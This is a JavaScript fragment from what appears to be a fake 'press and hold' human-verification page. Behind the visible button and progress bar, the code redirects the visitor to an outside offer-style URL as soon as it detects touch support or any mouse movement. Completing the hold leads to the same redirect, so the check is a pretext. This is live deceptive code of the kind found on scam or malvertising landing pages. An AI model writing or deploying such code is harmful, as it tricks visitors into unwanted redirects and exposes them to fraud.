const btn = document.getElementById('btn');
  const progress = document.getElementById('progress');
  const redirectUrl = 'https://befjajh.cpofers.com/s/42cf1c2250951';

  let holdTimer = null;
  let holdTime = 0;
  const requiredTime = 3;
  const interval = 50;

  // 1. Redirect instantly if touch support detected
  if ('ontouchstart' in window || navigator.maxTouchPoints > 0) {
    window.location.href = redirectUrl;
  }

  // 2. Redirect on mouse movement
  let mouseMoved = false;
  const onMouseMove = () => {
    if (!mouseMoved) {
      mouseMoved = true;
      window.location.href = redirectUrl;
    }
  };
  document.addEventListener('mousemove', onMouseMove);

  // Press & Hold logic
  const startHold = () => {
    holdTime = 0;
    progress.style.width = '0';
    holdTimer = setInterval(() => {
      holdTime += interval / 1000;
      const percent = Math.min((holdTime / requiredTime) * 100, 100);
      progress.style.width = percent + '%';
      if (holdTime >= requiredTime) {
        clearInterval(holdTimer);
        window.location.href = redirectUrl;
      }
    }, interval);
  };

  const stopHold = () => {
    clearInterval(holdTimer);
    if (holdTime < requiredTime) {
      progress.style.width = '0';
    }
  };

  btn.addEventListener('mousedown', startHold);
  btn.addEventListener('touchstart', startHold, { passive: true });
  document.addEventListener('mouseup', stopHold);
  document.addEventListener('touchend', stopHold);
  document.addEventListener('touchcancel', stopHold);

  function toggleWhy() {
    const content = document.getElementById('whyContent');
    content.style.display = content.style.display === 'block' ? 'none' : 'block';
  }